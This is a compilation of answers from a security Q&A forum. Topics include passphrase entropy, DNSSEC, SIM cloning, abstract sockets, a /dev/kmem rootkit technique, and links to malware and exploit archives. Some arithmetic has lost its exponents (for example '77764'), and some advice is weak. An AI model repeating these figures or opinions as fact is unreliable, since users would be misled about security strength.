To make that more concrete, assuming you chose "carp ably feud whir" randomly from a 7776-word diceware dictionary, the attacker must try an average of 77764/2 ~= 1.83 quadrillion passwords before cracking it. If instead the attacker used a brute force of lower-case letters and spaces, you'd instead expect this same attack to take (26+1)19/2 ~= 786 billion quadrillion tries on average. Since 786 billion quadrillion is greater than 1.83 quadrillion, you can safely conclude that the brute force attack isn't worth worrying about, as the dictionary attack is a much more significant threat, and therefore the length of each word doesn't matter.


What if a resolver doesn't support DNSSEC?

If I sign up for DNSSec for my domain example.com, only Resolvers that support DNSSec will look for the signature.

Resolvers/Clients without support for DNSSec will not look for a signature.  This is equivalent to "falling back" to not using DNSSec.

There are a few wrinkles with how DNSSec is implemented.
Windows 7, for example, provides a "non-validating security aware stub resolver" which means that instead of maintaining trust on the Client, Windows 7 leaves it up to a DNS Server that supports DNSSec to validate the answer it gets to your DNS query.  So, what if you are on Windows 7 but using a DNS server that does not support DNSSec?

You can test this behavior by changing your dns server in Windows settings and then visiting http://www.dnssec-failed.org/, which is a deliberately broken dnssec domain.

I tried it once with a non-dnssec server and again with Google DNS, which supports DNSSec.  My non-dnssec server allowed me to get to the site while Google DNS prevented me from reaching the site.  This proved to me that, as you put it, it will "fall back" to not using DNSSec.


Is there any tool or method to detect spoofed CCs?

There is no way to detect this and there is no tool for this. You would need to actually check with the claimed recipient or at least with the log files of the mail server - the latter is not something a normal employee could do.

I think you need to adjust the processes instead, i.e. employees should not trust anything written in the body, any attachments, the subject or the Cc of the mails since these could all be arbitrary made up - similar to snail mail. From is a bit more reliable if DMARC together with DKIM/SPF is used but with only a bit of social tricks From can be made look trustable too even if DMARC is enabled.


Can an unlisted directory on webserver be discovered?

Arguably if there's enough entropy in the folder name then it may provide some benefit in a layered security approach (ie. one of many controls you have implemented). Doing so may help to cut down "noise" from attackers who don't really pose a significant threat, however you cannot depend on an attacker not finding the folder name because it can be leaked too easily.

For example, the directory name might be leaked via the HTTP referer header or it could be leaked if your application has a vulnerability which allows an attacker to list directories.

If the contents of this directory are important then use strong authentication and access control. I'd recommend implementing IP white listing if possible, and if these are static resources that need to be accessed by the public (eg. attachments) then store them outside the document root and have your application proxy (ie. read and output) them to users following appropriate authentication.


Configure Linux to allow network activity based on binary?

This can be done via SELinux. There are examples here.


Can a dictionary attack crack a Diceware passphrase?

5 Diceware words = 77765 = 28430288029929701376 possible equiprobable passphrases.

9 random characters = 949 = 572994802228616704 possible equiprobable passwords.

The 5 Diceware words are 49.617 times better than the 9 random characters. On the other hand, 10 random characters would be almost twice as good as the 5 Diceware words (but the Diceware words are probably much easier to remember). (I assume that your "gibberish characters" are ASCII printable characters, excluding space.)

With seven words, the number of possible and equiprobable passphrases is a bit higher than 290, which is indeed quite high; even if the employed password hashing scheme has been horribly botched (no salt, simple hashing), this still exceeds by a comfortable margin what can be done with today's technology.

The important word is equiprobable. This is what makes the analysis above possible and accurate. This assumes that both your Diceware words, and the 9 "random-looking gibberish characters", are chosen with a truly random uniform process, such as, for instance, dice. And not at all by a human being in the privacy of his brain, imagining that he can make random choices out of pure thought (or, even worse, witty non-random choices). Humans are just terrible at randomness.


Zero server knowledge encryption for media server

Since you consider this more of a "code review", or a "security review", than something actually practical, here are my thoughts on the system:

Information Disclosure Vulnerability

Step 2 is an information disclosure vulnerability. An attacker can easily discern which usernames are legit, and which ones are not.

It's better to always do all the steps for authentication, even if the user does not exist. You can see this, for instance, when you try to log into your Google account. Even if the e-Mail address that you specified does not exist, they still ask for your password.

Overly complicated authentication scheme

Your threat model behind the authentication scheme is that you assume that an attacker may eventually gain root access on your system. In this case, yes, the attacker will not gain access to the plaintext password, but instead access to an unsalted SHA-256 hash.

Why? Because the attacker can modify the server to send an empty string as the first salt, causing the client to calculate a hash with an empty salt. It is marginally better than plaintext, but not by a lot.

If this marginal benefit in a very fringe scenario is worth an overly complicated authentication scheme is for you to decide. I recommend against it and to stick with a simpler, more traditional authentication scheme. There is a reason it's considered best practice.

Overly complicated FEK/PDK scheme

Your entire FEK/PDK scheme seems to be much too complicated. It also could be solved much simpler with asymmetric cryptography.

Encrypt the file with a unique key (DEK, Data Encryption Key) and encrypt that key with the public key of the user. The user can then decrypt the DEK with their private key and decrypt the data.

Not a Zero-Knowledge System

Since the server is presumably the one who generates the FEK, the server could theoretically store an unencrypted copy of it to access the data. The goal of a Zero-Knowledge system is to show users that the server has no knowledge of something. Your system requires trust that the server actually does what it claims to do, which is not the same.

Don't use Cipher Block Chaining Mode

AES-CBC has quite a lot of problems, and there is really no reason to use it. AES-GCM is actually faster than AES-CBC + HMAC-SHA1.

Source: Kazoo.ga

All in all, your scheme isn't bad, but it certainly seems a bit over-engineered.


Security implications of using SETCAP CAP_NET_RAW

Capabilities are described in the capabilities(7) manpage.

To summarize and security-wise:

CAP_NET_RAW: Any kind of packet can be forged, which includes faking senders, sending malformed packets, etc., this also allows to bind to any address (associated to the ability to fake a sender this allows to impersonate a device, legitimately used for "transparent proxying" as per the manpage but from an attacker point-of-view this term is a synonym for Man-in-The-Middle),
CAP_NET_ADMIN: Basically no restriction in controlling the network interfaces, which includes not only the network card itself (modify network configuration, switch the card into promiscuous mode to capture traffic, etc.) but also firewalling (don't miss this one!) and routing tables (allows to route traffic through a malicious host).


Risks of lending/borrowing a SIM card temporarily?

Yes, you can clone a SIM card. All you need is a SIM writer, a blank SIM, and roughly 15-30 minutes. (guide for v2 cards)

Once that happens, they've effectively become your phone, and can intercept communications and messages, and charge your phone plan.

I do not know of any "rogue SIM card attacks," most attackers focus on attacking the SIM cards themselves.


How to design a single-request, non-CA-based custom server-to-server authentication method?

Here's a few thoughts and suggestions.
(1)

All connections are HTTPS-based, except maybe when developing. This should take care of MitM attacks and of server authentication.

At this point you need to have a PKI in place to ensure integrity of connections;
(2)

What we currently have is as follows. (...) The secret key is never sent over the network, which keeps it safe, and the challenge string changes every time, which protects against replay attacks.

Your methodology doesn't look bad at face value, however the major issue is key distribution. How do you handle/store/distribute these secret keys?
(3)

The weakness is that, if a third party learnt the client's application GUID, they could make requests to the server and the server would send the challenge to the real application, without noticing. This can be fixed either by checking the provenience of the request (but I think that can be spoofed) or by making the client record its requests, so that it rejects authentication challenges that do not match a request it made.

I'm not sure how you can verify the provenience of this value. Also sending the challenge code to a spoofed client shouldn't be a security issue in your implementation. As in, this should not be of use for an attacker, as it would if it were netntlm.
(4)

What I'm aiming for is to remove the authentication challenge. Removing the authentication challenge speeds up the process and eliminates the need for a challenge handler. A server would still keep a registry of authorized clients, with a secret key for each client.

Sounds like adding a weakness and complexity.

is it any less secure to use industry-standard encryption algorithms in a custom workflow (assuming the custom workflow doesn't introduce security holes itself)?

You are asking a question with a caveat where the caveat is the answer. If you design and implement a secure system, then the system will be secure. The matter is, however, can you be confident of this?

how to perform the authentication without the authentication challenge, without also exposing to replay attacks?

This is a long winded response. A secure authentication protocol needs resilience against brute forcing, replay attacks and in some ways impersonation of authenticated peers. It is up to you to work out how to do this.
I understand this is the answer you want to avoid. But using PKI with client side certificates addresses most of these points, certainly (1) (2) and (3), and you might be able to forego (4).


PIN numbers do not replace passwords. A password is still required. PINs allow you to have a very strong password with the convenience of being able to quickly unlock your device.

PIN numbers in Windows 10 are not really included to increase the security of that specific device. In order to configure a PIN number on a device you must first log into that device using your Microsoft account and then configure a PIN number - the PIN number only unlocks the device you've set that PIN number up on, meaning that if the PIN number is compromised the attacker only gains access to that machine, not to your other devices, not to your Microsoft account.

As per one of the moderators on the Microsoft Answers question "PIN makes Windows LESS, FAR, FAR, LESS secure":

The PIN can only be used on the physical device it is set up on
PIN login only allows 4 incorrect attempts before you're challenged
After 1 more failure, you must restart the machine
After going through the above process a couple of times the PIN is blocked

Essentially this is a convenience feature, allowing you to a use a very strong password for your account and a much easier password for unlocking your devices. Entering the PIN number also requires physical access to the device, so brute forcing it would be time consuming and require manual input.


You're starting with a wrong premise. Pop-ups originating from a Private-Browsing window (legitimate and illegitimate ones) are already started in private-browsing windows.


Which high speed / high security ECC curves are preferred on mobile devices?

The general consensus among cryptographers is that Daniel Bernstein's Curve25519 is ideal. It both provides a good security margin while being very fast and using "nothing-up-my-sleeve" numbers, and is supported by a number of libraries. In key exchange, it is called x25519. When used for signatures, it is called Ed25519. It works very well on mobile and embedded devices. In fact, it is so efficient that it is often the choice curve for passively-powered smart cards that utilize ECC!

If you want a stronger curve with similar properties, there is Curve448, also called Ed448-Goldilocks. It is stronger than Curve25519 but is also moderately slower. For a modern mobile device (as opposed to a low-end and low-power embedded device or microcontroller), it is still fast enough.


Securely Download lubuntu from Non-Ubuntu System

This is where the concept of TOFU (Trust On First Use) comes in. You will need to download the public key from a trusted source at least the first time, which makes it a little tricky when you can only download it from the same server that is also providing the ISO and signature. In order to make sure you are using the correct public key, you need to check that its fingerprint matches the fingerprint that the developers are using. I would suggest looking through Twitter or various mailing lists to try to find the signature so you can confirm that it matches the public key you have.

Looking it up online, I see that DistroWatch provides a copy of the keys. You could also send an email to request the fingerprint, or go on their IRC channel and ask.


LastPass vulnerability: Should LastPass users change all their passwords?

Last pass suggesting people change their passwords depends on if the vulnerability was discovered before it was disclosed and solved and if users have visited an infected site in case it was. It also depends on how the vulnerability was solved.

Tavis Ormandy is a very good researcher that has been poking at Last Pass for quite a while, and while it is possible for someone else to have discovered the vulnerability before him, I find this unlikely. However, if it was discovered it was probably not very widely used, since we haven't seen any leaks in the media so far and I don't think a breach of Last Pass would last very long without being discovered. In my opinion, it's not very likely users have been hit with this.

The exploit only allows access to Last Passe's RPCs without the extension, so an attacker wouldn't be able to gain access to your master password, but to the password of a site (or possibly a few sites) you've stored in Last Pass. So if you do feel like changing your password, change the passwords of the sites you access via Last Pass, not the master password.

Finally, if the vulnerability was resolved by removing the DNS entry and not by taking down the service, a MITM could potentially obtain your account details, but the likelihood of a targeted attack is pretty low unless an attacker can manipulate a web page they know you frequent and can also position themselves as a MITM.

All of this aims to a pretty low risk of Last Pass users having been burned, if they were it was likely a small number of users. I think the media circus that would follow Last Pass suggesting all users change their passwords would create more harm than good to the company as a whole, while only having a few users being affected isn't ideal, it's more manageable from a PR standpoint.


Is there any good (or less bad) way to handle a web portal or website with awful security?

Self protection:

What you list in your answer sounds pretty good.  About my only thought would be to change your long ranty fake security question answers to truly fake answers.  Either sentences or more pseudo-random characters.  But assuming you get somewhere with trying to change the system, I don't think you want those in there when some guy who is investigating and trying to help sees them.  I never really suggest the strategy of "hope the admin has a sense of humor".

I'd also suggest a manual double check - it sounds like an an actual human accesses this account to look stuff up.  Have the human make a physical log of when the account is accessed - start time/end time, and if you are really anal - work done.  So that if an inappropriate access issue comes up, you have a separate list of what your activity has been.  Best is something that provide an automated time stamp - for example, mail a mail to yourself through the company mail server - so you mail hits the logs and has a (slightly) well-documented time stamp (sent time/date).  Yeah, it's fudgeable, but here's a limit to the number of reasonable checks a process can handle.

Long term protection:

OK, so I get that your pissed, but venting, ranting and otherwise sounding off at the site owners, on the web or to upper management in your own company is likely not to get you very far.  When a pissed off guy comes storming onto the scene demanding everything be fixed Right This Minute, the people who might actually respond in a productive way will probably batten down the hatches and try to figure out how to get you out of their office, email thread, or website and spend more time eliminating you than eliminating the problem.

Try to stay blame-free and focus on the problem at hand.

I'd start with the risks:

Risk to people - exposure of the HR/financial data linked to individuals - can violate laws, cause harm and result in fiscally damaging lawsuits.
Risk to company reputation - both your company and the provider of the service.
Risk to users - of being accused of inappropriate data access

Have an estimate on likeliness of risk, level of impact, etc.

Then start following up with concerned parties, starting with your company.

You may also follow up with the data provider - if this hosting site is not internal to the company providing the HR/finance data, find the data provider's security organization and start talking the risks with them.

Chances are, if either company does not have a CSO or CISO, they have a CTO or a CFO - I'd honestly start with whatever the highest level of risk management is - a security risk is a business risk, and the people most likely to respond are those tasks with mitigating risks.

The trick is to sound sane, write well, speak convincingly and generally make the case that you are a smart, trustworthy person.

For job protection, I'd start internal, get approvals before going to outside groups, and keep my manager in the loop at all times.

If that didn't yield results, it's worth researching personal information protection laws in your country/region and verifying what the expectations of due diligence are, legally.  This can get hairy, as the jurisdiction may be the state that hosts the service, the state of the people who's data is being violated, or something even broader.  Blowing the whistle on inappropriate data handling is not where I'd start - I'd start internal and work outward - helping prevent loss, reputation damage and better security practices makes you a hero.  Blowing the whistle may get you press coverage and it may save much data loss, but you won't be a universal hero, as the companies involved will almost certainly loose face, and they won't be so thrilled with that.

This comes strongly into the softer side of security - finding the key stakeholders who can actually affect organizational change, and getting them onboard.  Knowing how to present the problem and ask questions to generate actual thinking is really important here.  Walking in and telling them they have screwed up is unlikely to actually get you the results you want - you have to get them to convince themselves that there is a problem to be fixed here.

In all honesty, I couldn't even tell you if I would listen if you came to me... I'm just as happy in a public forum to NOT know exactly what data is at risk here, but it'll take a really serious dig into EXACTLY what information is private or public, specific or generalized before you can make the case.


Can linux abstract sockets using a psk as name be found by another user?

That's not secure. You can enumerate sockets with ss -xa, even ones from processes that aren't yours. To test, run this:

#include <stddef.h>
#include <sys/socket.h>
#include <sys/un.h>

int main(void) {
    struct sockaddr_un addr = {
      .sun_family = AF_UNIX,
      .sun_path = "\0some random secret"
    };
    int sockfd = socket(AF_UNIX, SOCK_STREAM, 0);
    bind(sockfd, &addr, offsetof(struct sockaddr_un, sun_path) + 19);
    listen(sockfd, 50);
    accept(sockfd, NULL, NULL);
    return 0;
}

And then as another user, do ss -xa and you'll see an entry like u_str  LISTEN     0      50     @some random secret 12979431              * 0 in the output.


Is a secret PGP key considered compromised if it reaches the net?

Here's a different take:
All the encryption in the world doesn't matter if the password is brute-forceable.

You should assume the key is compromised if the time since it was made available is longer than feasible time to crack the password.

Even that only creates an upper-bound to it's security, any weaknesses in the password and encryption implementation will reduce the time to compromise.

In short - yes assume it is compromised; then decide what that means for you.
If it's just that someone could read emails full of gossip, probably not an issue.
If it's used for securing legally protected information then revoke the keys, generate new ones (with new password) and rebuild your trusts.

Unfortunately PGP doesn't offer forward secrecy, so any historic emails encrypted to those released keys have eternity to be brute-forced; that data is no longer private.


How to tell if a commercial program is malicious?

I remember reading somewhere that there's no way at all of knowing what an exe does on a computer. How true is that?

As much I wish there was a magic .exe problem-finder program, there isn't. If you really are worried about what an .exe file will do to your computer, run it in a VM (though VMs aren't completely safe) or on a computer or laptop you don't care about.

  Is there any easy safety measures I can take? Do popular games like those get examined thoroughly by experts? I want to trust those apps. How can I do so?

I would like to pose another question to answer this one. Let's purpose that Blizzard's World of Warcraft had a piece of malware in it that stole the credentials from it's users, just their username and password for their laptop or computer. What would Blizzard do with that information? Would they sell it to malicious people? Keep it to hack into people's bank accounts? No big company, in my humble opinion, would do something like that. It just doesn't make a whole lot of sense for them. Even if they didn't do anything with that information, and rather just sat on it, there would be an outcry from consumers if they ever found out about the malware. Not to mention, all the legal problems they would have would be tremendous.

  I wonder if anything malicious caused by something like I mentioned happens, then could it cause the computer to be forever ridden with whatever it caused? Or is that too difficult for an application to cause?

Malware comes in all shapes and sizes, of different intensities and methods. Sometimes all you need is your Windows Defender to kick in and clean up whatever virus you have. Sometimes you get something like a rootkit, which is stored so deep in your computer that the only way to really get rid of it is the nuke it from orbit. This question is really to broad to answer.

  If such apps were examined by the best experts, then how likely is it that something goes undetected?

No one is perfect, though if it's examined by "experts(?)", you can probably bet there isn't anything malicious going on. Of course, it always happens that every once and a while something might be missed, but I would say that if someone well versed in security looked at a program and deemed it OK, there is probably a 99% chance that it's going to be just fine.

  How can I look for suspicious activity of an app? Can I analyze the thing myself? How reliable can a beginner's analysis (mine) be? Or does it rely more on the tools used?

Sometimes malware is so sneaky that even people that know what they're doing can't find it. That being said, if you notice that your internet is particularly slow as of late, or ads are popping up on your desktop, you'll probably realize something is wrong. But again, big programs or games like these most likely won't have anything suspicious going on.


An XMAS scan has PSH and URG and FIN set, i.e. all three flags at once. An inverse TCP scan has PSH or URG or FIN or none flag set, i.e. a single flag or no flag.


Session state within an application should ideally be managed server-side from a security perspective.

So in terms of expiry a list of active sessions should be stored and they should be removed from the server after an agreed period of inactivity (exactly what this would be depends on the application sensitivity, user base etc)

The application should also offer an explicit logout facility which terminates the users session server-side.

If you rely on a client-side measures (e.g. cookie expiry) there is always the risk that an attacker will get access to a cookie and replay it after the expiry has passed.  If your application is unable to tell whether that cookie should still be valid then this may expose it to unauthorised access.

In this case the use of cookie flags (e.g. secure, httpOnly) may reduce the risks of an attacker compromising a user's session token, but don't remove the central issue that the server can't tell whether the cookie should still be valid or not.

It is possible to handle session expiry without holding state on the server by using cookies which are protected from tampering and store the expiry date/time within them (e.g. ASP.NETs default session management) but this suffers from the weakness of making it hard to allow users to explicitly terminate the session prior to the time stored in the cookie.


Recovering From Suspected MPEG Malware Attack

If you can access the D drive after booting from your boot disc (which is different from booting into safe mode), then it will be reasonably isolated to scan everything using multiple virus, rootkit, and malware scanners.  The only vulnerabilities you will be exposing your system to at that point, it has already experienced.

You can just format the D drive at that time as well.  If you want to be extra cautious you can use a format parameter (such as /P:1 or /P:3) that will overwrite most of the sectors on drive D, but that will take a fair amount of time to run.


Are there Linux rootkits circulating that directly modify the kernel (without modules)?

Yes there is, the suckit rootkit as featured in Phrack is one such example, which modifies the linux kernel via /dev/kmem. Essentially, the goals remain the same - replace entries in the system call table to do what we want them to do. The difference here being that the modification is done via /dev/kmem.

The grsecurity/PaX patches for the kernel include support/configuration for disabling access to /dev/kmem, /dev/mem and /dev/port - see the entry here.

The difference between /dev/mem and /dev/kmem is explained here.

The notable difference between modifying memory this way and loading in a kernel module is the exposure of symbols. Most kernel module rootkits are compiled with static functions so these functions are not exported from the code; however, there are other techniques that might betray the existence of a kernel module (the init function would need to be exportable, for example). A rootkit modifying kernel memory directly would not be visible in a scan of the kernel address space except in what it had changed (i.e. if you know where the syscall table should point to and what it is pointing at, you might detect it, unless the author is sufficiently clever to ensure further reads of /dev/kmem give out the correct addresses).

As to whether a bad guy can directly modify memory - a root process is technically still in userspace; that is to say it is still a part of ring 3 and does not have the ability to escape its virtual memory sandbox. The only memory any ring 3 process can modify is its own virtual address space, which as far as it is concerned is what memory looks like. A ring 3 process must abide by all the rules of marked memory; for example, if a page is marked read only it cannot be modified by a process (the CPU refuses and tells the OS). However, a ring 0 process (cpu supervisor mode) can modify any memory it likes and can go so far as to ask the CPU to ignore the status of memory pages (i.e. you can ignore the fact pages are read only).

So what I'm trying to get at is that a root process does not have implicit access to memory by way of being a root process - it must still ask and gain such access via the kernel. It's just that the kernel will obey blindly. So one solution is to use the PaX patches, making the kernel refuse such requests.


Retrieve RAR Password through Extracted File

What your describing here is a called a known-plaintext attack (KPA). WinRAR, as old as V3.0, uses AES-128 to encrypt files. As far as we know, AES isn't susceptible to KPAs.


using booby-trapped video to find IP address

The video they sent would have been DRM Protected, DRM is a licensing technology that attempts to prevent unauthorised distribution and restrictive use of a media file. It works by encrypting the video and audio streams with an encryption key and requesting a license (decryption key) from a network server when the file is accessed. As it requires network connectivity it can cause users to make network requests without consent when opening a media file such as a video file or audio file.

When the suspect attempted to play the video his device would have pinged the 'Licensing Sever' (to request the decryption key) which is controlled by the FBI, giving them an IP Address which led to his Identity being revealed.


Do ssh logs (from plink) contain secret information?

From the PuTTY documentation at https://the.earth.li/~sgtatham/putty/0.73/htmldoc/Chapter4.html#config-logging we have the following (corresponding command line options added in [brackets]):

‘SSH packets’ [-sshlog]. In this mode (which is only used by SSH
connections), the SSH message packets sent over the encrypted
connection are written to the log file (as well as Event Log entries).
You might need this to debug a network-level problem, or more likely
to send to the PuTTY authors as part of a bug report. BE WARNED that
if you log in using a password, the password can appear in the log
file; see section 4.2.5 for options that may help to remove sensitive
material from the log file before you send it to anyone else.
‘SSH packets and raw data’ [-sshrawlog]. In this mode, as well as the
decrypted packets (as in the previous mode), the raw (encrypted,
compressed, etc) packets are also logged. This could be useful to
diagnose corruption in transit. (The same caveats as the previous mode
apply, of course.)

Note that no cryptographic secrets are transmitted over the connection; only public keys for authentication and components of the selected symmetric key exchange algorithm (KexAlgorithms) which can be safely logged since they cannot be used by anyone listening in on the connection. Only password authentication appears to be compromised if the passwords are not redacted from these logs.
PuTTY provides options to perform this redaction as the logs are being created: ‘Omit known password fields’ and ‘Omit session data’, which are checkboxes one can use when setting up the session parameters in PuTTY prior to running plink. To use a saved session in plink, add the -load option to the command line followed by the name of the saved session.
Edited to add: This refers only to the credentials and keys associated with the SSH session itself. Applications using SSH as a transport mechanism (such as rsync, sftp, and scp) may have their own sensitive material logged; turning on "Omit session data" may help when troubleshooting an application, but should not be necessary if you are creating a session solely for troubleshooting purposes rather than launching the application.


Why does SSL Labs now consider CBC suites weak?

While CBC is fine in theory, there is always the risk that an improper implementation will subject the connection to padding oracle attacks. Time and time again, CBC implementations in TLS have shown themselves to be vulnerable, and each time an implementation is fixed, it seems yet another bug making padding oracle attacks feasible appears. Lucky Thirteen was published in 2013, and variants of this attack based on side channels keep popping up. SSL Labs is just observing history and learning from it.


It looks as though you're rather secure. Your machine is rejecting connections on those ports.


What should I know before configuring Perfect Forward Secrecy?

PFS in SSL implies that the server performs, for each new session, a Diffie-Hellman key exchange and a signature, so the CPU cost of the handshake on the server is about doubled compared to a non-PFS cipher suite. But it is rather infrequent that the handshake CPU cost is non-negligible (clients which open several connections use the abbreviated handshake which uses symmetric cryptography only, and a basic PC has enough power to handle several hundreds of complete handshakes per second with a single CPU core). I suggest making an in-context benchmark.

Still with SSL, there is no defined PFS-able cipher suite which also supports RC4 encryption. Apart from that, all non-archaelogic Web browsers currently deployed will accept the "DHE" cipher suites (which yield PFS) so there is no interoperability issue here; the question is rather whether you want RC4 or not: you have to balance the fear of ulterior key compromise (against which PFS adds some protection) with the fear of chosen-ciphertext attacks (i.e. BEAST, to which RC4 cipher suites seem immune).

The OS or load balancer might report cipher suites statistics, but I would not bet on it. You can make tests with OpenSSL (the command-line executable, with the s_client command). You can also use any decent protocol analyzer like Wireshark, which can tell you which cipher suite is used on a given connection (the cipher suite identifier is sent "in the clear" as part of the initial steps of the handshake, so it is easy to grab it with a sniffer).


Unable to establish shell with ncat over SSL

Make sure that the Windows Firewall is allowing this connection.


There are two reasons you are unlikely to find an actual diagram with the info you want

It is the sort of thing that an attacker would love to have, making navigation through their target's network simple and stealthy
It will only be relevant to that organisation. You will need to tailor the architecture to your needs, not that of another company.

The reference diagrams are a really useful place to start from, just make sure you get input from your business heads as well as technology leads, so you know what services and data need to be protected, and these will guide your customisation of the network controls.


Poor result on securityheaders.io for google.com

Defining a good Content-Security-Policy for an existing complex application is often non-trivial.  It's safe to say that efforts are underway to deploy CSP at Google, but imagine the cost of potential breakages on such a site.  Also keep in mind that some users would not benefit from a CSP, due to using older browsers, so other defenses must still exist.

Referrer-policy is actually undesirable on a search engine.  Many web site operators use the referrer to determine what keywords were used to access their site, which helps optimize their site content and better understand their userbase to generate more relevant content.

X-Content-Type-Options is not used for most browsers, and even when it is, it only matters if an attacker can control a significant part of the beginning of the response.

I understand the principles of defense in depth, but obviously security doesn't exist in a vacuum and has to consider operational and business aspects.  As @LvB pointed out, security headers on a search page are very different from properties with higher sensitivities, such as accounts.google.com and mail.google.com, both of which score an A.

(All of this is just speculation and I don't know what the official answer is.)


Why should my certificate signing request be signed by my private key?

I'm sure if you looked hard enough you could find the official explanation:

  The signature on the certification request prevents an entity from
  requesting a certificate with another party's public key. Such an
  attack would give the entity the minor ability to pretend to be the
  originator of any message signed by the other party. This attack is
  significant only if the entity does not know the message being signed
  and the signed part of the message does not identify the signer.  The
  entity would still not be able to decrypt messages intended for the
  other party, of course.

RFC 2986: PKCS #10: Certification Request Syntax Specification -- Version 1.7


Update:  I added the link below after a reading a twitter message
"Links and resources for malware samples"
http://contagiodump.blogspot.com/2010/11/links-and-resources-for-malware-samples.html

Malware specific:

  If you have money:  http://www.frame4.net/home
  Free (and paid):  http://www.offensivecomputing.net/

Exploits:

  http://www.exploit-db.com/
  "The Exploit Database (EDB) – an ultimate archive of exploits and vulnerable software. A great resource for penetration testers, vulnerability researchers, and security addicts alike. Our aim is to collect exploits from submittals and mailing lists and concentrate them in one, easy to navigate database."
  http://www.packetstormsecurity.org/ is another one


Protect server in CTF challenge when exploting input() vulnerability in python

One simple way I can think of is to sanitize user input using a blacklist which contains the commands you do not want to allow, such as the ones you have mentioned.
OWASP provides very good explanation about White/Black lists HERE


HIDS that can detect attacks, take immediate action locally, and then report to a central service for re-broadcasting to other systems?

To put this a little more officially as an answer, I believe OSSEC has the options you're looking for. You can create custom rules, configure it to watch specific log files (such as your web server logs), and trigger alarms if certain regex matches or strings are detected. Active response can actually run more or less any command, you just have to place it in the active-response bin directory which is /var/ossec/active-response/bin by default.

With Active Response you could trigger a script that pushed the IP somewhere centrally and that could be used to derive a list of bad IPs. Active Response has a timeout mechanism to "reverse" the response as well using add or delete. You can view sample scripts in the Active Response bin directory. I will caution you that iptables is not very scalable with a large number of rules, so you will want to test this pretty thoroughly no matter which direction you go with this. Odds are the number of IPs you will block are pretty low, but you never know. Here are a couple of links that may be helpful to you.

http://ossec-docs.readthedocs.org/en/latest/syntax/head_ossec_config.active-response.html
http://sgros.blogspot.com/2012/08/about-active-responses-in-ossec.html


Can I restore gpg private key from raw data to enigmail?

You could first get your public key from your private key like this:

  $ gpg --import private.key
  $ gpg --export $ID > public.key

Where you can determine the $ID of your key as follows:

$ gpg --list-keys

Afterwards you can import your key pair into Enigmail via File → Import Keys From File (as described in the Enigmail Wiki [1]).

[1] https://enigmail.wiki/Key_Management#Importing_an_existing_key_pair


Are security scrutinies conducted by independent agencies on open source software like Ubuntu or Mozilla Firefox?

There is no simple or single answer to the question.

Do individual projects get reviewed by independent agencies? Yes. Here is an instance of Mozilla hiring such an agency.

Are those agencies reliable? That's an impossible question to answer since the question has no scope.

However, there are numerous independent researchers who comb through code hoping to find errors and mistakes so that they can get recognition. It's that cloud of independent testers that really helps to shine a light on open source code.

Remember that reviewers do not need to review the entire codebase regularly. All they need to do is to review the patches as they come out, for that is the code that changes.


Encryption of metadata files with the help of password based encryption

Just to be clear, these algorithms are password hashing algorithms, that could be used for creating an encryption key. These are not encryption routines by themselves. If you are asking about encryption routines, (such as AES,) please edit your question.

If your question is about key derivation (so you can create a key to feed your encryption routine):

I asked a similar, if not duplicate question myself.

PBKDF2 is specifically designed for key derivation.
bcrypt can be used for this as well, though it was not necessarily designed for the key derivation (slight minus), but hashing (still works). It is newer (minus), but still sufficiently vetted (mostly removes the minus). It is less convenient to use GPUs on it (plus), due to the extra memory overhead. (if memory serves me right, I won't be corrected on this)
scrypt is newer, and considered promising, though not as well vetted as the other two. (a minus) I expect that this, like bcrypt, is designed for password hashing, but not necessarily for key derivation. If you use this, you may consider adding a more proven routine to the formula, as this is not a proven routine on its own.

I would use PBKDF2, and bcrypt both, and xor the two results together, because I like that PBKDF2 was designed for key derivation, and that bcrypt is more resistant to GPUs.But I may be over-designing.

At any rate, make sure your routine takes a long time. If you do not adjust the hashes properly, and it completes too quickly, than an offline brute-force may become feasable. I recommend 50-500ms. Keep in mind that newer hardware will speed this up, and that hackers may speed it up even more if they invest, or maybe just rent a cloud/cluster. Both of these mean you should adjust the hashes to repeat as much as possible, stopping just before you have a "slow problem". Because it will do nothing except speed up over time.


It sounds like you need to setup port forwarding on LAN router.
From the Wikipedia page linked above:

This technique is most commonly used to make services on a host
residing on a protected or masqueraded (internal) network available to
hosts on the opposite side of the gateway (external network), by
remapping the destination IP address and port number of the
communication to an internal host.


Why would one increment card security code for a new payment card

That the code appears to be "just incremented" is not a problem. It would even not be a problem if the code did not change at all, which is expected to happen randomly for 1/1000th of card updates.

The CSC is a secret value and its strength does not come from its actual value, but from the value space: it is a 3-digit number that attackers do not know and cannot recompute (at least, as long as the generation process on the bank -- the "encryption" -- was done properly). From the attacker point of view, they have probability of guessing it of exactly 1/1000. No more, no less. Attackers know that with probability 1/1000 it will be the same code than for a previous one; they also know that with probability 1/1000 it will be equal to the previous code with a +1 increment. This yields no information whatsoever.

What would help the attackers is if the CSC was not generated with an adequate process (be it "encryption", keyed hashing or even pure randomness), but with something weak which results in some values being more probable than others, in a way which can be tracked by attackers. Then, and only then, does the strength of the CSC lowers. However, a single observation is by no way sufficient to infer such sloppiness. As I said, an apparent +1 increment on the CSC will happen "by pure chance" for every thousandth card renewal (on average). It happens thousands of times every day world wide. It just happened to you this time.


Claim Based Authorization vs Attribute Based Access Control

ABAC and CBAC are practically the same thing. Microsoft doesn't call things attributes, but refers to them as claims because attributes tend to be associated with SAML whereas claims are mostly protocol agnostic.

XACML is a model/implementation that exposes ABAC, whereas there isn't any concrete CBAC model or implementation -- not from Microsoft anyway. This is mostly because generic authorization models are a pain in the butt and overly complicated, and the gist of the guidance was that each application is different permissions-wise so you should figure it out on your own.


Extracting features from PE files. Machine learning and malware

If you encounter a packed malware the features extractable from the PE file and its imported library functions probably won't get you anywhere. That is because there will only be little imported function calls and the header information can be modified to misguide your learned model of a malware.

Note that the fact that an executable is packed is not sufficient to determine it as malware as also normal programs can do that.


Can my identity be revealed to the receiver when using skype to land line phone service?

The answer is maybe, but it isn't likely.

(Assuming that your company isn't the cyber mob and can't hack and slash their way through the internet)

One example of a case where you could be found out; say your company decided that the complaint was somehow incriminating, if it was they could press charges and attempt to get a subpoena for your information. Assuming Skype keeps accessible logs on activities such as calls through their phone systems, the police could legally get Skype search for who was using the phone number that called the company at the time and fork over everything they've got on that person. If you didn't use a proxy or a VPN or some other means of routing your traffic around, they could give your Internet Service Provider a call and then get a name and address for you.


Is there a way to know when the microphone is recording? (Windows 10)

Yes. Attach an opamp and a 3V LED to either of the two wires, and it will pulse when the mic is active. The LED is easy to embed in the casing with a little 3mm drill. Go to electrical engineering on stack exchange, and they will help you.

Edit: It will be a lot quicker to add one of these:

